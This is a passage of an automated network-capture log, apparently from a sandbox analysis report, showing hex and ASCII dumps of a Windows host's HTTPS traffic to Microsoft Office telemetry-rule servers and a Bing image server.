2024-12-06 17:45:55 UTC	16384	IN	Data Raw: b3 af 5f 92 08 e2 f9 12 1f 2e 38 eb 96 b4 63 7d 8d e8 c5 b5 76 64 c1 a1 c7 77 0e c7 b3 b4 92 3f fa 6b 15 3a 3f 0c e9 36 ff 00 73 4d b4 8f cc ff 00 9e 51 25 6c 5b ad 49 22 ff 00 1a 7f e8 da e5 f6 8c ea 54 53 32 20 d2 a3 b7 9b 7a 43 0f fd fa ae 37 e2 16 95 e5 6a d1 fe e7 cc f3 3f 79 fb af f9 69 5d fc 92 fe fb e7 ff 00 96 75 c4 7c 46 d4 e7 d4 2e fc 8d 3b f7 90 59 7f ac 92 2f ef ff 00 76 aa 95 49 36 29 d3 56 2c cf a6 5a 5c 79 57 50 69 be 5c 9e 5f fa ba ce ba b6 92 2b bf 21 e1 bb f2 ff 00 e7 ac b5 bd e1 ff 00 0e 5d ea 1e 1e b6 7f ed 2d 47 cb 93 f7 9f eb 53 ee 54 f7 5e 1e b4 b4 f9 3f b4 b5 6f 2f fe ba a3 d7 47 d6 23 1d 0c 65 47 98 e3 60 f3 12 6d 9f eb 23 a8 ef ac 77 dd fc 97 90 fe f3 fe 59 d7 4b 7d e1 eb 4f b2 48 f6 ba 96 a1 e6 7f c0 2b 0e c6 ce 4b 7b 4f df de Data Ascii: _.8c}vdw?k:?6sMQ%l[I"TS2 zC7j?yi]u\|F.;Y/vI6)V,Z\yWPi\_+!]-GST^?o/G#eG`m#wYK}OH+K{O
2024-12-06 17:45:55 UTC	16384	IN	Data Raw: 3e fb c3 b6 b6 73 69 da 3c 9b 2e 23 8e c6 d1 ec 52 de fd 7f bb d5 f6 9e fb eb a6 8a 92 32 95 a4 ee 73 31 ea fe 08 d1 35 0d 36 f7 5e bc d5 ae 35 8f 2f fd 26 e7 fb 13 62 5c 5b b7 f0 34 5f c4 f5 05 f7 8b 3c 21 e2 3d 5b 52 d2 f5 4d 1f 56 d4 7c 17 1c 6f fd 93 65 a4 69 29 67 79 f6 af e0 dd d3 e7 ff 00 68 d6 0d d4 ba d5 a6 93 7d 6b aa 4d 69 71 26 83 7b e5 de e9 b1 cb e7 5e 47 fe da d3 e0 b9 bb 4d 0f ed b6 b0 cd 1d 8f 99 fb bf 37 62 3e fa f4 23 1b a3 8e 53 77 27 d3 75 9d 77 4f f8 65 6d e1 4d 52 6d 6e 4b 1b 39 12 e3 49 f2 a2 85 26 b4 75 ff 00 9e cd 1f cd 3c ad fe dd 74 76 3e 23 d2 7c 35 a1 db 7f 67 7f 67 5e c1 a8 db 4d ff 00 21 2f f4 cf de b7 df fb 44 5f c1 ff 00 7d 57 33 a1 db 78 7b 58 b4 8e ea f7 c6 d7 7a 76 a5 26 f8 fc bb 1d 3f fd 5e ef e1 92 57 a7 d8 c1 e5 5a Data Ascii: >si<.#R2s156^5/&b\[4_<!=[RMV\|oei)gyh}kMiq&{^GM7b>#Sw'uwOemMRmnK9I&u<tv>#\|5gg^M!/D_}W3x{Xzv&?^WZ

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:54 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:54 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:54 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 92011275-e01e-0033-54c3-454695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174554Z-1746fd949bdlnsqphC1EWRurw000000004bg00000000meyn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:54 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:54 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:54 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:54 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 626f2b07-401e-0015-15d1-450e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174554Z-1746fd949bdfg4slhC1EWR34t000000004e000000000adb1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:54 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:55 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:56 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:56 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 18148ef3-001e-002b-2504-4899f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174556Z-r1cf579d7789trgthC1EWRkkfc00000000qg000000005qg4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:56 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:56 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:56 UTC	495	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:56 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 42d07f15-f01e-0099-5306-489171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174556Z-r1cf579d778t5c2lhC1EWRce3w00000000hg000000004k2d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-12-06 17:45:56 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49842	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:56 UTC	375	OUT	GET /th?id=OADD2.10239360172429_1FBLLBDCCPBGUQBS5&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-06 17:45:56 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 687339 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: FC64C51AAC754C2AB152F98385678C42 Ref B: EWR30EDGE0117 Ref C: 2024-12-06T17:45:56Z Date: Fri, 06 Dec 2024 17:45:56 GMT Connection: close
2024-12-06 17:45:56 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 33 20 31 38 3a 34 31 3a 32 35 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:05:13 18:41:258C
2024-12-06 17:45:56 UTC	16384	IN	Data Raw: 79 df e7 34 cf 36 98 ef ef 50 ef df 47 38 72 17 91 a8 dd ef 51 47 4f a7 ed 09 b0 fd f4 6f a8 77 d3 24 b8 d9 55 ed 03 d9 96 2e 1c 24 3d 6a 8f df 9b cc a4 69 24 7e 3f 82 a4 8e 9f 39 4a 8f 28 fd fb 29 92 3d 1f 7e 88 e9 7b 42 3d 8a 12 8a 6e ea 23 7a d3 da 1c d3 a2 3a a4 4a 66 fd 94 c9 1e 8f 68 67 3a 03 e4 6a 64 92 d4 32 3d 32 46 a3 db 11 f5 61 f2 4d 55 a4 7d f4 7d fa b3 1a 54 7b 42 fd 80 5b c5 57 23 f9 2a 1f b9 4e a2 73 34 85 31 6e 2a b5 c3 fb d3 ee 1e a8 5e 4b 58 73 97 ec c6 5c 4b be a9 c9 4f dd 46 da da 99 84 e6 1b 68 a7 fd ca 82 ba ce 2f 8c 5d f5 0c 8d 4f 91 fd e9 9b e9 7b 40 f6 24 3b fd e9 9b 24 7a b3 1a 53 f6 d4 73 97 ec e0 53 8e 2a 24 4d 95 66 4a 87 66 fa d0 08 aa 3a b3 e5 51 e5 50 47 b8 56 db 4c f2 aa ff 00 93 fe 71 4c d9 55 ef 91 cf 02 9e ca 3e cf ed Data Ascii: y46PG8rQGOow$U.$=ji$~?9J()=~{B=n#z:Jfhg:jd2=2FaMU}}T{B[W#Ns41n^KXs\KOFh/]O{@$;$zSsS*$MfJf:QPGVLqLU>
2024-12-06 17:45:56 UTC	16384	IN	Data Raw: 5b 29 63 fd cd ac 71 7f cb 2f e3 ae 4a df 5b 97 ce f3 24 9e 6b 5f fa 6b e7 57 3d 6f 71 27 9d e6 47 fe b2 2a 9a f2 58 9e f7 f7 7e 74 51 ff 00 cb 5a da 18 5a 64 4e a4 fe d1 ea 9f 0d fc 7d 73 a9 6b 5f d8 7a 84 f0 cb 27 fc b2 96 5f fe 2a bd 2e 34 af 98 fc db 2b 69 bc cb 7f fc 8b 5e f7 f0 9f 5b fe db f0 c4 52 49 ff 00 1f 11 7e ee 5f f7 2b cf cc 30 bc 9e fc 0e dc 2d 7e 7f 76 47 49 e4 ff 00 9c 51 1c 55 66 35 a7 ed af 24 ed e4 2a c7 17 a5 49 e4 fb fe 95 67 65 3e 38 ab 42 0a db 2a 68 a9 fe 4f bf e9 4f 8d 28 00 8d 2a 68 d2 88 e9 f1 d0 54 26 1b 69 97 12 db 5b 43 e6 5c 4f 0c 51 c5 5c df c4 cf 15 ff 00 c2 37 0f 97 1f fc 7c 4b 17 99 5e 09 e2 cf 19 ea 3a ad ec b2 79 f3 45 5d 34 70 53 aa 73 56 c6 c2 1e e9 ef de 28 f1 9e 8b a0 df 7d 8e f2 7f 36 4f dd ff 00 aa ff 00 6b ee Data Ascii: [)cq/J[$k_kW=oq'GX~tQZZdN}sk_z'_.4+i^[RI~_+0-~vGIQUf5$Ige>8BhOO(*hT&i[C\OQ\7\|K^:yE]4pSsV(}6Ok
2024-12-06 17:45:57 UTC	16384	IN	Data Raw: 83 4c d0 e3 34 b9 6c af e1 fb 3d e7 ee a4 f3 7f 7b e5 7d c8 f7 55 9d 42 ca f6 1b 2b ab 3b 88 3c d9 22 ff 00 55 fd f8 f6 d7 61 25 94 6f fb bb 7f 26 ea de 5f f5 b5 ca ea 1a 7e a3 0e b5 37 d9 e7 9a d6 3f f9 e5 ff 00 3c e8 02 9c 97 16 d7 fa 2c 57 91 cf e6 de 58 45 e5 cb 17 93 fe b2 2a bf f6 4b 2f f8 47 e2 d5 34 7f 3b ed 1f f9 06 3f f8 15 69 7d 93 4e b3 d1 7f b4 2e 27 87 ed 97 5f bb f3 65 87 63 c8 f5 cd de 24 96 77 bf 67 8e 7f b0 5b cb fb c8 bf 83 cc dd 40 1a b6 fa 9e 83 7f 0d ad be a9 fe 8b 25 d4 5f 66 ba 97 c8 ff 00 56 ff 00 c1 ff 00 01 a8 74 bd 42 f7 44 b2 d4 34 fb 7b e8 6f fe cb 2f d8 a2 8a 6f b9 f3 7f 0d 66 dc 5e dc 7f c2 31 75 f6 8f f4 a8 e2 97 cb 97 f7 3b eb 07 54 fb 6e 8f 0d ae a9 e1 f9 e6 97 ec ba 82 5c c5 a7 cb f3 fc eb fe fd 2e 40 f6 87 6d 6f 6f 73 Data Ascii: L4l={}UB+;<"Ua%o&_~7?<,WXE*K/G4;?i}N.'_ec$wg[@%_fVtBD4{o/of^1u;Tn\.@moos
2024-12-06 17:45:57 UTC	16384	IN	Data Raw: de ac f9 3f e7 14 ff 00 2a 8e 70 29 fd 8e 8f b1 d6 94 69 4f 8d 28 e7 03 2b ec 9e f4 f8 ed 2b 4a 99 25 1c e0 79 5e 97 0e c9 a2 f3 27 f3 64 97 fe 59 55 cb 8d 3f fe 79 ff 00 e4 5a 7e 9f 16 bd 6d fe ae 08 62 ab 31 e8 5a f5 ff 00 ef 24 f3 bc b9 7f e7 96 ca fd 52 75 0f ce 39 0c a9 21 d9 34 5e 65 f4 ff 00 f5 ca 8d 91 bc de 64 73 fe f2 2a eb 6d fc 35 e1 cb 39 bc bd 53 55 f2 a4 ff 00 9e 57 70 d3 f5 0d 43 c3 16 13 7f c4 be fa f6 29 3f ea 13 65 0c 3f f8 fb 56 3e d8 be 43 06 df 4c d4 66 f3 7e c7 04 d2 c9 ff 00 3c a2 f9 2a e6 97 e1 fd 7b ce f3 2e 2c 66 8a 4f fa 6b 35 32 e3 c4 b7 be 77 fc 4a ef af 7c bf fa 7b 9b ce 7a c4 d5 35 8b 9b 9f de 5c 4f 34 b4 7b f3 0f 70 e9 2e 3f b7 ec ff 00 e3 f3 c8 f2 ff 00 e9 ad 53 bc d4 ed 9f f7 7f 6e 86 d7 fe 7a f9 50 d7 37 6f 71 71 7f fb Data Ascii: ?p)iO(++J%y^'dYU?yZ~mb1Z$Ru9!4^edsm59SUWpC)?e?V>CLf~<*{.,fOk52wJ\|{z5\O4{p.?SnzP7oqq
2024-12-06 17:45:57 UTC	16384	IN	Data Raw: fe cf e7 ff 00 a3 f9 be 5f fb 75 10 e7 9f c4 59 df e8 fa 24 b7 9a a7 d8 ed e7 86 5b 89 7f e7 ac df fa 13 53 ef 2c ac ac e1 fb 44 97 d6 52 ff 00 cb 3f f4 49 bc ea c1 f0 fd dc b7 3a 2f db 24 9f fd 6c b2 47 fb aa b3 1d 97 da 61 f3 2e 27 86 28 eb 4f 7c cc bf f6 ad 39 26 fd de 87 ad 4b ff 00 4d 7c e8 52 b3 7c 51 a8 69 3f ea ed e0 9a d6 f2 5f f9 75 96 6d fe 65 56 b8 d4 75 6b 98 7e c7 a5 cf fb bf f5 7f 6b ff 00 62 a8 47 a2 47 0c df 68 ff 00 5b 27 fd 35 ac ff 00 78 01 1e 85 7b 7f 7b 15 9f ef bf 7b fe aa 28 be 4f 9e bb 68 fc 05 e1 8f 0f 5e fd a3 c5 93 e9 71 49 2c 51 ff 00 c4 be 2b dd ff 00 f7 de ca e6 23 8a 3f 26 28 e4 9f fd 6f fd 37 a6 5c 45 65 a5 59 79 76 f0 7e f2 a2 74 e7 33 48 4c de d6 35 8d 47 55 bd fe c7 b3 9e 69 6c fc df dd 69 fa 7c 1e 4d b4 7f f0 05 a2 df Data Ascii: _uY$[S,DR?I:/$lGa.'(O\|9&KM\|R\|Qi?_umeVuk~kbGGh['5x{{{(Oh^qI,Q+#?&(o7\EeYyv~t3HL5GUili\|M
2024-12-06 17:45:57 UTC	16384	IN	Data Raw: f8 91 a8 79 90 43 fb db 58 3c a9 6b 4b c3 77 12 59 d9 45 1f fd 32 f3 2b 12 3b 8f 3b e2 a5 d7 da 3f 7b ff 00 12 af fd 9e b3 19 ab e2 4d 3e 3d 56 1f b1 dc 4f 34 52 4b 2c 7f e9 5f f3 ef 5d 56 b9 e2 28 df ca 8f cf fb 54 7f ea ff 00 d2 ec bf 73 71 ff 00 d9 57 3d e1 bb 78 a6 bc 96 e2 e3 ce f2 ed 7f d5 79 b3 ec f9 eb 62 4f ed 1b ff 00 37 ec f3 d9 45 1c 52 fe eb fe 9a 55 fb 31 73 85 e5 de 83 73 a2 f9 72 78 57 fe fd 7d ca b3 6f 71 65 ff 00 08 f7 97 a7 cf 0c 56 76 11 7f a2 ff 00 73 fd da a1 26 9f e2 38 66 8a 3b c9 ec bc bf fa 6b 54 34 fb 2d 5b 52 f0 fe a1 71 aa 69 5a 5c 5f f3 eb ff 00 4d 1d 5e 9f 21 81 b7 a5 c5 a8 ea 5e 55 c7 9f 0d af 95 ff 00 3d 7e fd 50 b3 d6 ee 74 db c9 64 f2 3e d5 79 fe af cd ff 00 62 ab 5e 4b 73 e1 ef 26 49 3c 9b f8 ff 00 77 1c b1 4b 0f fa ba Data Ascii: yCX<kKwYE2+;;?{M>=VO4RK,_]V(TsqW=xybO7ERU1ssrxW}oqeVvs&8f;kT4-[RqiZ\_M^!^U=~Ptd>yb^Ks&I<wK
2024-12-06 17:45:57 UTC	16067	IN	Data Raw: 1e 1a b9 7d 2e ea 4d 3f f7 b7 1f 65 93 fe 5b 57 9e de 24 7a 97 88 3c 17 6f 79 e7 45 1f 95 24 92 f9 50 fc fb 17 f8 29 81 ab 79 a7 c9 37 95 24 90 41 fb a9 63 b6 8a 5f f9 6d f7 eb aa d6 1f 4e b9 f1 06 95 1e a9 04 d2 e9 f6 b1 49 fb d8 bf d7 56 54 77 76 d7 3a a7 f6 7c 9a 54 d6 b6 fe 57 fa 2f 9b ff 00 2d 1f f8 b7 53 fc 59 a8 49 e7 7d 9f f7 31 79 5f f4 c7 fd 5d 06 24 3a 85 ec 97 37 be 5d 9d 8c 36 b1 ff 00 ab a9 bc 37 15 cc da a4 51 db fe f6 4f 37 f7 b5 43 4f 6d 93 43 e6 58 c3 fb aa e9 7c 27 2e ff 00 37 50 8f fd 5c b2 c9 40 72 19 3a 3e b1 1e b1 e2 ef 12 de 47 e4 f9 76 b2 c7 6d 69 2c 5f f2 d2 ae e9 69 be 69 64 93 fe 3e 3c af 2e 2f f8 15 72 9f 0b ee 2d 92 cb 55 d3 fc 89 be d1 15 d4 77 3f ba fb f5 d1 5e 5d c7 0d c7 99 1c f3 79 9e 6f fc b6 82 a8 0c 0f 14 3d b5 e7 c4 Data Ascii: }.M?e[W$z<oyE$P)y7$Ac_mNIVTwv:\|TW/-SYI}1y_]$:7]67QO7COmCX\|'.7P\@r:>Gvmi,_iid><./r-Uw?^]yo=
2024-12-06 17:45:57 UTC	16384	IN	Data Raw: 1d af f6 47 85 7c 1f e2 09 24 12 fe ec e9 f7 b7 32 dc 7f c0 da 35 58 ff 00 f1 ea 89 e6 13 fe 50 fa 94 3f 98 e4 bc 3f e0 af 15 de 6b 51 5e 7f c2 2b 7b 75 67 2c bf bd f3 6c 9d fe 4f ef f9 5c 3d 5c 8f 55 b6 d2 af 7c bd 1f c2 be 0b 8a 4f 37 f7 5a 84 5a 2e f7 93 fe fe b3 57 a2 f8 2f c0 bf 14 9f ed 5f f0 90 5f 6b 5a 0c 77 51 79 52 f9 b7 be 74 d7 71 7f 77 e5 fb 95 b7 a7 fc 17 f0 a7 db 62 d4 2e 2c 7c df 2a 2f 2f f7 b7 bb eb 96 78 ae 7f 88 ec a3 85 51 f8 4f 3a 8f 5b 96 e6 f7 cb d5 27 86 2b 7f f9 6b 15 a7 87 ec 13 fe f9 91 d2 a9 ea 96 3e 18 9a 1f 32 3f 07 5e cb 1c bf f2 d6 ef 53 f2 7f f4 4c 55 ee b6 fe 04 f0 9c 30 fe ef 43 d2 e5 ff 00 af b9 be 4a e7 bc 79 ad fc 3e f0 37 fa 45 e6 95 65 e6 4b 17 ee a2 d2 74 5b 9b e9 a4 ff 00 da 69 47 d6 a1 fc a6 93 c2 9e 75 e0 f4 d2 Data Ascii: G\|$25XP??kQ^+{ug,lO\=\U\|O7ZZ.W/__kZwQyRtqwb.,\|*//xQO:['+k>2?^SLU0CJy>7EeKt[iGu
2024-12-06 17:45:57 UTC	16384	IN	Data Raw: 2a 43 14 77 97 d3 79 9f f5 c6 ab 68 f6 fa 2a 4f f6 8b 78 3f f0 12 6a 35 0f 06 68 af 7b ff 00 1f d7 be 64 bf ee 3f fe 86 b5 95 ff 00 08 67 d8 ec be d1 a5 ea be 6c 7e 6f fa d9 76 6f ff 00 c7 2b 39 f3 8b da 1d 27 f6 65 c2 59 79 96 7a af 9b 6f 2f ef 25 fb 5f cf 36 fa ad ae 69 96 57 3e 1f fb 1c 70 43 2f 9b ff 00 a1 ff 00 0b 56 24 8b ab 5b 7f a1 ea 90 59 5d 47 ff 00 3d 7e 7f dd d5 3f b7 5e db 59 7d a3 4f be 86 5b 79 7f e5 ad 05 f3 94 ef 34 cd 26 c3 ec b6 7a 87 9d 15 c5 ac be 5f ef 7f f6 6a bf fd 9f 26 95 63 f6 7b c8 3e c1 71 e6 fe eb fd c6 fb 9b a9 9e 1f b7 f0 e6 ab e7 59 de 41 e5 6a 92 ff 00 cb 59 77 bf da 3f f8 8a 35 cb 4b 9b 39 bc cd 43 c9 96 e3 fd 5c 57 52 cd fe 8d ff 00 7d b5 45 42 60 5c b8 86 e5 f5 a8 ac ee 2f be d5 71 17 fc b5 97 e4 f9 ff 00 d9 5a a7 a8 Data Ascii: CwyhOx?j5h{d?gl~ovo+9'eYyzo/%_6iW>pC/V$[Y]G=~?^Y}O[y4&z_j&c{>qYAjYw?5K9C\WR}EB`\/qZ

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:56 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
